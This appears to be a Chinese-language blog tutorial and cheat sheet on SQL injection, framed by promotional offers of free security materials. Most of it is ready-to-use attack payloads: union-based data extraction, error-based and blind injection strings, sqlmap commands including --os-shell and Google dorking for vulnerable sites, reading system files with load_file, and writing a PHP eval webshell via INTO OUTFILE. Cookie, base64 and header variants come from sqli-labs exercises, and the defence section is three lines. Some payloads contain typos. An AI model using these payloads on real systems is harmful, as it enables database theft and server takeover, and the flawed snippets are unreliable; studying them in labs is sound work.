🍅?點擊文末小卡片?,免費獲取網絡安全全套資料,資料在手,漲薪更快
SQL注入
1、原理
針對注入的攻擊行為可描述為通過用戶可控參數中注入SQL語法,破壞原有SQL結構,達到編寫程序意料之外結果的攻擊行為。
其成因可歸結為以下兩個原理疊加造成:
1、程序編寫者在處理程序和數據庫交互時,使用字符串拼接的方式構造SQL語句。
2、未對用戶可控參數進行足夠的過濾便將參數內容拼接進入到SQL語句中。
2、漏洞危害
攻擊者利用SQL注入漏洞們可以獲取數據庫中的多中信息(如:管理員后臺密碼),從而脫取數據庫中內容(脫庫)。在特別情況下還可以修改數據庫內容或者插入內容到數據庫,如果數據庫權限分配存在問題,或者數據庫本身存在缺陷,那么攻擊者就可以通過SQL注入漏洞直接獲取webshell 或者服務器系統權限。mof提權 、 udf提權
3、分類
SQL注入漏洞根據不同的標準,從數據類型分類來看SQL注入分為數字型和字符型。數字型注入就是說注入點的數據,拼接到SQL語句中是以數字型出現的,即數據兩邊沒有被單引號、雙引號包括。字符型注入正好相反按照提交數據的位置分類GET、POST、Cookie和稱GPC數據庫對基本的數據類型分為三大類:數字、文本、時間
根據注入手法分類,大致分為以下幾個類別
聯合查詢 union query SQL injection
報錯注入 Error-based SQL injection
布爾盲注
延時注入
堆疊查詢聯合查詢、報錯注入、布爾盲注、延時注入 ---查
堆疊查詢 ---增刪改
聯合查詢、報錯注入 ---可以看到數據庫的回顯,包括正確和錯誤信息
布爾盲注、延時注入 ---看到的頁面的狀態,不是數據庫的回顯
4、Mysql相關
注釋
#
-- (杠杠空格)
/* … */
/*! … */ 內聯查詢
部分數據庫函數
=|>|>=|<=|<> | 比較運算符 | SELECT 1<>2; |
and|or | 邏輯運算符 | select 1 and 0; |
version() | mysql 數據庫版本 | select version(); |
database() | 當前數據庫名 | select database(); |
user() | 用戶名 | select user(); |
current_user() | 當前用戶名 | select current_user(); |
system_user() | 系統用戶名 | select system_user(); |
@@datadir | 數據庫路徑 | select @@datadir; |
@@version_compile_os | 操作系統版本 | select @@version_compile_os; |
length() | 返回字符串長度 | select length('ffdfs');select length(version()); |
substring() | 截取字符串(三個參數) | select substring("dhffjf",2,2); |
substr() | 1、截取的字符串2、截取的起始位置,從1開始 | select substr("version()",2);select substr(version(),2,10); |
mid() | 3、截取長度 | select mid(' select ',2,6); |
left() | 從左側開始去指定字符個數的字符串 | select left('adc',2);select left(version(),2); |
concat() | 沒有分隔符的連接字符串 | select concat('a','b','c'); |
concat_ws() | 含有分隔符的連接字符串 | select concat_ws('/','a','b','c');|| |
group_concat() | 連接一個組的字符串 | select group_concat(id) from users; |
ord | 返回ASCII碼 | select ord('a'); |
ascii() | ? | select ascii('a'); |
hex() | 將字符串轉換為十六進制 | select hex('a'); |
unhex() | hex 的反向操作 | select unhex(61); |
md5() | 返回MD5 值 | select md5('123456'); |
floor(x) | 返回不大于x 的最大整數 | ? |
round() | 返回參數x 接近的整數 | ? |
rand() | 返回0-1 之間的隨機浮點數 | select rand(); |
load_file() | 讀取文件,并返回文件內容作為一個字符串 | ? |
sleep() | 睡眠時間為指定的秒數 | select sleep(5); |
if(true,t,f) | if判斷 | select if(true,1,0);select if(false,1,0); |
find_in_set() | 返回字符串在字符串列表中的位置 | ? |
benchmark() | 指定語句執行的次數 | ? |
name_const() | 返回表作為結果 | ? |
1、SQL語句解析過程
SQL 語句解析過程
from -->group by --> having --> select -->order by
from 后面的表標識了這條語句要查詢的數據源
from 過程之后會形成一個虛擬的表VT1.# where
where 對VT1 過程中生成的臨時表進行過濾,滿足where 子句的列被插入到VT2 .# group by
group by 會把VT2 生成的表按照group by 中的列進行分組,生成 VT3# having
having 這個group by 的子句對VT3 表中的不同分組進行過濾,滿足having 條件的子句被加入到VT4 表中。# select
select 這個子句對select 子句中的元素進行處理,生成VT5
計算select 子句中的表達式,生成VT5.1
distinct 刪除VT5.1表中的重復列,生成VT5.2
top 從order by 子句中定義的結果中,刪選出符合條件的列,生成VT5.3# order by
order by 從VT5.3 中的表,根據子句中的結果進行排序,生成VT6
4、注入點
注入點可能的位置根據SQL 注入漏洞的原理,在用戶“可控參數”中注入SQL 語法,也就是說Web 應用在獲取用戶數據的地方,只要代入數據庫查詢,都有存在SQL 注入的可能,這些地方通常包括:GET 數據、POS 數據、HTTP頭部(HTTP請求報文其他字段)、Cookie 數據
5、注入點判斷
判斷類型
123' 返回頁面包含123時,為字符型,沒有123是為數字
考慮閉合類型 ' " ') ") ')) "))+1、-1 有變化有回顯考慮聯合查詢;有變化有報錯考慮報錯注入;沒變化沒報錯沒回顯考慮布爾盲注;沒有以上情況,考慮延時注入是否有回顯 聯合查詢
是否有報錯 報錯注入
是否有布爾類型狀態 布爾盲注
絕招 延時注入判斷布爾類型的狀態
?id=35 and 1=1 ?id=35 and 1=2(如果1=2正常,可能為字符型)判斷延時
?id=35 and sleep(5) 可以通過F12-->'網絡'進行查看
6、聯合查詢注入
聯合查詢就是SQL 語法中的union select 語句。該語句會同時執行兩條select 語句,前面語句為假時,顯示后面語句執行的結果生成兩張虛擬表,然后把查詢到的結果進行拼接。
select ~~~~ union select ~~~~
由于虛擬表時二維機構,聯合查詢會“縱向”拼接兩張虛擬表實現跨庫|跨表查詢
必要條件
@ 兩張虛擬的表具有相同的列數
@ 虛擬表對應的數據類型相同
1、判斷字段個數(列數)
使用[order by] 語句來判斷當前select 語句所查詢的虛擬列表的列數。
[order by] 語句本意時按照某一列進行排序,在mysql 中可以使用數字來代替具體的列名,比如[order by 1] 就是按照第一列進行排序,如果mysql 沒有找到對應的列,就會報錯[Unkown column].我們可以依次增加數字,知道數據庫報錯。
- 1.
- 2.
判斷顯示位置、列數
得到字段個數之后,可以嘗試構造聯合查詢語句
這里我們并不知道表名,根據mysql 數據庫的特性,select 語句執行過程中,并不需要指定表名。。?id=33 union select 1,2,3,4,5,6,7,8,9,10--+
返回錯誤時,表示沒有該列數
?id=33 union select null,null,null,null,null,null,null,null--+頁面顯示的是第一張虛擬表的內容,那么我們可以考慮讓第一張虛擬表的查詢條件為假,則顯示第二條記錄。因此構造SQL,語句:
?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+
?id=-33 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+
- 1.
- 2.
如下圖---顯示出數據
- 1.
llegal mix of collations for operation 'UNION'出錯時
編碼限制繞過
采用hex(16進制編碼)
?id=-33 union select 1,2,3,4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database() ?id=-33 union select 1,2,hex((select group_concat(table_name) from information_schema.tables where table_schema='security' )),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
不支持字符型時,采用16進制轉換
16進制需要在轉換后加上0x
7、報錯注入
1、group by 重復鍵沖突(floor)
group by是mysql天生的BUG(編號#8652),是一種比較可靠的注入方式 有一定的成功率,可能成功,也可能不成功,建議多試幾次?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)select a,count(*) from r1 group by round(rand(),1);select floor(rand()*3),a,count(*) from r1 group by 1; select min(@a:=1) from(select 1 union select null union select !1)a group by concat('~',@@version,'~',@a:=(@a+1)%2);在concat()里面添加條件
2、extractvalue()
?id=1 and extractvalue(1,concat('~',(select version()),'~')) --+
- 1.
3、updatexml()
?id=1 and updatexml(1,concat('~',(select version()),'~')) --+
- 1.
8、布爾盲注
獲取數據庫名數據庫名長度
[… and length(database())<=10 --+]
[… and length(database())=3 --+]數據庫名
[… and ascii(substr(database(),1,1))=99--+]
9、延時注入
利用sleep() 語句的延時性,以時間線作為判斷條件
獲取數據庫名獲取數據庫名長度
?id=1 and if((length(database())=3),sleep(5),1)--+數據庫名第二位
?id=1 and if((ascii(substr(database(),2,1,)=109),sleep(5),1)
10、sqlmap
get注入-u "url" 檢測注入點
--dbs 列出所有數據庫的名字
--current-db 列出當前數據的名
-D 指定一個數據庫
--tables 列出表名
-T 指定表名
--columns 列出所有字段名
-C 指定字段
--dump 列出字段內容----------post注入-r post.txt 從文件中讀入http請求(post.txt是用burpsuite抓取得post數據包構成)
--os-shell 獲取shell
sqlmap -g "inurl:php?id=" 利用google 自動搜索注入點---------攜帶cookie 的認證
要測試的頁面只有在登錄狀態下才能訪問,登錄狀態用cookie識別
--cookie ""
11、其他注入
SQL 注入文件讀寫
SQL 注入漏洞文件讀寫文件。但是讀寫文件需要一定的條件
該參數再高版本的mysql 數據庫中限制了文件的導入導出。
改參數可以寫在my.ini 配置文件,并重啟mysql 服務。
打開my.ini 配置文件,在mysqld下添加 secure-file-priv
讀取文件操作
… union select 1,load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'),3 --+
- 1.
寫入文件操作
?id=1 and union select 1,2,"<?php @eval($_REQUESTS[777]);?>",4 into outfile "c:\\phpstudy\\www\\2.php"
- 1.
寬字節注入
使用?id=1,頁面有回顯,使用聯合注入查詢
使用?id=1'測試的時候,會發現單引號被\轉義了測試網站的編碼是GBK編碼,其采用雙字節編碼范圍,GBK的編碼范圍,8140-FEFE(高字節從81到FE,低字節從40到FE)
?id=1%df' union select 1,2,3 --+
Cookie注入
在控制臺輸入
- 1.
document.cookie="uname =Dumb' and extractvalue(1,concat(0x7e,database(),0x7e),1)#
- 1.
也可以用burpsuite抓包修改Cookie
- 1.
- 2.
base64注入
base64 編碼是以==結尾我們以sqli-labs 第22關來說明base64 注入的問題
base注入 就是將注入的字段經過base64 編碼,
發現22 關是輸入Cookie 型的base64 注入,使用報錯注入手法
uname =Dumb" and updatexml(1,concat(0x5e,version(),0x5e),1)#
base64 編碼之后:
RHVtYiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVlLHZlcnNpb24oKSwweDVlKSwxKSM=
HTTP 頭部注入
User-Agent 注入
- 1.
sqli-labs 第18關payloadUser-Agent:hacker' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1
Referer 注入
第19 關,注入字段在Referer 中
- 1.
- 2.
hacker' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1
- 1.
12、防御
1、對用戶輸入的數據進行過濾
2、增設WAF
3、添加PDO
?
最后感謝每一個認真閱讀我文章的人,禮尚往來總是要有的,雖然不是什么很值錢的東西,如果你用得到的話可以直接拿走:
上述所有都有配套的資料,這些資料,對于做【網絡安全】的朋友來說應該是最全面最完整的備戰倉庫,這個倉庫也陪伴我走過了最艱難的路程,希望也能幫助到你!凡事要趁早,特別是技術行業,一定要提升技術功底。